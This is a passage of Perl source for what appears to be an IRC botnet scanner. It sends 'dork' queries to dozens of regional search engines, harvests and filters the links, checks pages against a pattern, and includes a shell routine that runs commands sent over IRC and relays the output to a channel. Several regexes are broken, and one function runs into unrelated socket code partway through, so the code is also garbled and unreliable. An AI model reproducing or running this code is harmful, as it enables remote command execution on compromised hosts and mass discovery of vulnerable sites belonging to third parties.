if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
@clean = &clean(@total);
if ($silentmode == 0) {
&msg("$chan","$logo(7@2$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")"); }
return @clean;
}
##################################################################################
sub isFound() {
my $status = 0;
my $link = $_[0];
my $reqexp = $_[1];
my $res = &get_content($link);
if ($res =~ /$reqexp/) { $status = 1 }
return $status;
}
sub get_content() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout($timot);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
######################################### SEARCH ENGINE
sub jack() {
my @list;
my $key = $_[0];
my $jackx = $_[1];
for (my $i=0; $i<=1000; $i+=100){
my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
my $res = &search_engine_query($search);
while ($res =~ m//g) {
my $link = $1;
if ($link !~ /onet|webcache|query/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub clusty() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=10; $b<=200; $b+=10) {
my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
my $res = &search_engine_query($search);
if ($res !~ /next/) {$b=100;}
while ($res =~ m/]*)\"/g) {
my $link = $1;
if ($link !~ /uol\.com\.br|\/web/i){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub seznam() {
my @list;
my $key = $_[0];
for ($b=1; $b<=300; $b+=20) {
my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
my $link = $1;
if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub hotbot() {
my @list;
my $key = $_[0];
for ($b=0; $b<=50; $b+=1) {
my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
my $res = &search_engine_query($search);
if ($res =~ m/had no web result/i) {$b=50;}
while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
my $link = $1;
if ($link !~ /hotbot\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub aol() {
my @list;
my $key = $_[0];
for ($b=0; $b<=300; $b+=10) {
my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
my $link = $1;
if ($link !~ /aol\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub biglobe {
my $key = $_[0];
my @list;
for ($b=1; $b<=500; $b+=10) {
$num += $num;
my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
my $res = &search_engine_query($search);
while ( $res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
my $sget = "GET $query HTTP/1.0\r\n";
$sget .= "Host: $host\r\n";
$sget .= "Accept: */*\r\n";
$sget .= "User-Agent: $uagent\r\n";
$sget .= "Connetion: Close\r\n\r\n";
print $sock $sget;
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
#########################################
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 3; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}